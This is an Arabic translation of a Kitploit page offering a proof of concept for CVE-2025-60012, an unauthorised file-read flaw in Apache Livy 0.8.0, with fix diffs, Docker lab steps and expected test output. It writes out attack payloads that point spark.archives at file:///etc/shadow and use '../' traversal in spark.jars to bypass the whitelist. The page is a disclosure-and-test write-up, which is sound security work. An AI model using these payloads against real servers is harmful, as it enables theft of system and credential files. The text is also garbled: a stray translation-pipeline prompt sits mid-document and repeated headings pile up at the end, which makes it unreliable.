CVE-2025-60012-POC — POC لثغرة الوصول غير المصرح به إلى الملفات في Apache Livy | Kitploit

| الإصدار | الوسم | الالتزام المُحدد | المسار المحلي |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## الاختلافات الدقيقة للكود

تم إنشاء الاختلافات عن طريق استنساخ الوسمين محليًا (انظر أعلاه) وتشغيل:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

**تأثير الإدخال المفقود في v0.8.0:**
عندما يرسل مستخدم جلسة تحتوي على `conf: {"spark.archives": "file:///etc/passwd"}`، فإن Livy
0.8.0 لا يستدعي أبدًا `resolveURIs()` على تلك القيمة ولا يتحقق منها مقابل
`livy.file.local-dir-whitelist`. يتم تمرير المسار إلى Spark دون تحقق.

---

### الإصلاح 2 — `Session.scala`: تطبيع المسار قبل فحص القائمة البيضاء```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (تم تجاوزه)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (تم حظره)

## ملخص ناقل الهجوم```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

المكوّن	التفاصيل
نظام التشغيل المضيف	Ubuntu 24.04.4 LTS (Noble Numbat)
النواة	6.17.0-14-generic x86_64
البنية	x86_64
إجمالي الذاكرة	15.49 GiB
محرك Docker	28.2.2
JDK المضيف	OpenJDK 17.0.18 (يُستخدم على المضيف فقط — تستخدم الحاويات eclipse-temurin:11-jdk-focal)
الصورة الأساسية للحاوية	eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
إصدار Spark (لكلتا الصورتين)	3.1.3 with Hadoop 3.2
إصدار Livy — الصورة القابلة للاستغلال	0.8.0-incubating (Scala 2.12 build)
إصدار Livy — الصورة المصلحة	0.9.0-incubating (Scala 2.12 build)

---

## إثبات المفهوم

### نظرة عامة```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

> **ملاحظة:** يستغرق Livy حوالي 15–20 ثانية ليصبح جاهزًا بعد `docker run`.
> تتضمن جميع الخطوات أدناه `sleep 20` صريحًا قبل أي استدعاء API.

---

### الخطوة 1 — بناء وتشغيل البيئة القابلة للاستغلال (Livy 0.8.0 + Spark 3.1.3)

**الملفات:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — يستمع على `0.0.0.0:8998`، الوضع المحلي، القائمة البيضاء = `/opt/safe-data`

**1a. بناء الصورة:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

Translate the following Kitploit tool content.
This is chunk 23 of 79 from a longer Markdown document being translated in sequence.
The source language is en.
Target language: ar.
Content type: README chunk 23/79.

CHUNK-SPECIFIC RULES:
1. Translate ONLY natural language text. NEVER translate: code blocks, shell commands, file paths, URLs, package names, technical identifiers, CVE IDs, environment variable names.
2. Preserve ALL Markdown syntax EXACTLY as-is.
3. DO NOT add introductory headings like "## Chunk N", "## Part N", "## Continued from..." or "## Translation of chunk...". DO NOT add "End of chunk N" or "Content continues..." markers.
4. DO NOT add "..." ellipsis markers to indicate omission. Translate ONLY the exact text provided, character for character in structure.
5. Chunk boundaries are intentional. Preserve structure so chunks can be concatenated seamlessly without visual artifacts.
6. Return ONLY the translated text. No preamble, no commentary, no wrapping in code blocks, no JSON/YAML/XML, no arrays, no objects, no schemas, no key/value wrappers.
7. If the chunk starts mid-paragraph, continue translating from that point. Do not add a leading newline or indent unless it exists in the source.

INPUT:

Expected output:

## الناتج المتوقع:```
CONTAINER ID   IMAGE                         COMMAND        STATUS         PORTS
<id>           cve-2025-60012-vulnerable     "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp

#	الهجوم	مفتاح الحمولة	النتيجة المتوقعة على Livy 0.8.0
1	`spark.archives` غير موجود في `HARDCODED_SPARK_FILE_LISTS` في `LivyConf.scala`	`spark.archives`	HTTP 201 — تم قبول المسار دون التحقق منه
2	اجتياز المسار عبر `String.startsWith()` في `Session.scala`	`spark.jars` مع اجتياز `../`	HTTP 201 — يتجاوز الاجتياز القائمة البيضاء

**الإخراج المتوقع:**```
TEST      : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT validated — attack vector is open.

TEST      : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT validated — attack vector is open.

RESULT: VULNERABLE — exit code 1

### الخطوة 3 — بناء وتشغيل البيئة المثبّتة (Livy 0.9.0 + Spark 3.1.3)

**الملفات:**
- `docker/fixed/Dockerfile` — صورة أساسية متطابقة وSpark 3.1.3، فقط إصدار Livy يتغير إلى 0.9.0
- `docker/fixed/livy.conf`  — مطابق لـ `docker/vulnerable/livy.conf` (نفس القائمة البيضاء، المنفذ، الوضع)

> إن إبقاء Spark والصورة الأساسية وجميع الإعدادات مطابقة للخطوة 1 يعزل Livy باعتباره المتغير الوحيد.

**3أ. بناء الصورة:**```bash
docker build -t cve-2025-60012-fixed docker/fixed/

---

### الخطوة 4 — تشغيل نفس التحقق ضد البيئة المُصلَحة

> يجب أن تكون الحاوية المُصلَحة من الخطوة 3 قيد التشغيل على المنفذ 8998.
> البرنامج النصي مطابق — دون أي تغييرات.

**ما الذي يتغير بين الخطوة 2 والخطوة 4:**
- نفس الحمولات، نفس البرنامج النصي
- يقوم Livy 0.9.0 الآن بالتحقق من `spark.archives` عبر `HARDCODED_SPARK_FILE_LISTS`
- يقوم Livy 0.9.0 الآن بتطبيع المسارات باستخدام `Paths.get().normalize()` قبل فحص القائمة البيضاء
- يتم رفض كلا الهجومين برمز HTTP 400 قبل إنشاء الجلسة

**4a. تشغيل البرنامج النصي:**```bash
bash test/validate.sh

**ما تؤكده رسائل الخطأ:**

| الهجوم | HTTP | رسالة الخطأ | السبب الجذري الذي تم إصلاحه |
|--------|------|---------------|-----------------|
| 1 — `spark.archives` | 400 | `Local path /opt/sensitive/secret.txt cannot be added to user sessions.` | تمت إضافة `spark.archives` إلى `HARDCODED_SPARK_FILE_LISTS` في `LivyConf.scala`؛ أصبح المسار الآن يمر بفحص القائمة البيضاء في `resolveURI()` |
| 2 — تجاوز المسار | 400 | `Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.` | تمت إضافة `Paths.get(...).normalize()` في `Session.scala`؛ يعمل على معالجة `../` قبل المقارنة مع القائمة البيضاء |

**4b. إيقاف وإزالة الحاوية المُصححة:**```bash
docker stop livy-fixed && docker rm livy-fixed

معرّف CVE	CVE-2025-60012
الخطورة	متوسطة (CVSS 6.3)
المتأثر	Apache Livy 0.7.0-incubating, 0.8.0-incubating — عند الاتصال بـ Apache Spark 3.1 أو أحدث
تم الإصلاح في	Apache Livy 0.9.0-incubating
CWE	CWE-20: التحقق غير السليم من المدخلات
تاريخ الإفصاح	2026-03-13
المُبلِّغ	Furue Hideyuki

CVE-2025-60012-POC

الأكثر شعبية

وصف الثغرة

ملفات المصدر المتأثرة

الملف 1 — `LivyConf.scala`

الملف 2 — `Session.scala`

الكود المصدري — أوامر الاستنساخ

Vulnerable version — cloned into ./livy-0.8.0/

Fixed version — cloned into ./livy-0.9.0/

الإصلاح 1 — `LivyConf.scala`: تمت إضافة `spark.archives` إلى قائمة الملفات المرمّزة```diff

بيئة الاختبار

الخطوة 2 — تشغيل التحقق ضد البيئة المعرضة للثغرات

الاستنتاج

المراجع

شكر وتقدير

المساهمة

الرخصة

إخلاء المسؤولية

الوسوم

CVE-2025-60012-POC

الأكثر شعبية

CVE-2025-60012 — وصول غير مصرح به إلى الملفات في Apache Livy

نظرة عامة

وصف الثغرة

ملفات المصدر المتأثرة

الملف 1 — LivyConf.scala

الملف 2 — Session.scala

الكود المصدري — أوامر الاستنساخ

Vulnerable version — cloned into ./livy-0.8.0/

Fixed version — cloned into ./livy-0.9.0/

الإصلاح 1 — LivyConf.scala: تمت إضافة spark.archives إلى قائمة الملفات المرمّزة```diff

بيئة الاختبار

الخطوة 2 — تشغيل التحقق ضد البيئة المعرضة للثغرات

الاستنتاج

المراجع

شكر وتقدير

المساهمة

الرخصة

إخلاء المسؤولية

الوسوم

الملف 1 — `LivyConf.scala`

الملف 2 — `Session.scala`

الإصلاح 1 — `LivyConf.scala`: تمت إضافة `spark.archives` إلى قائمة الملفات المرمّزة```diff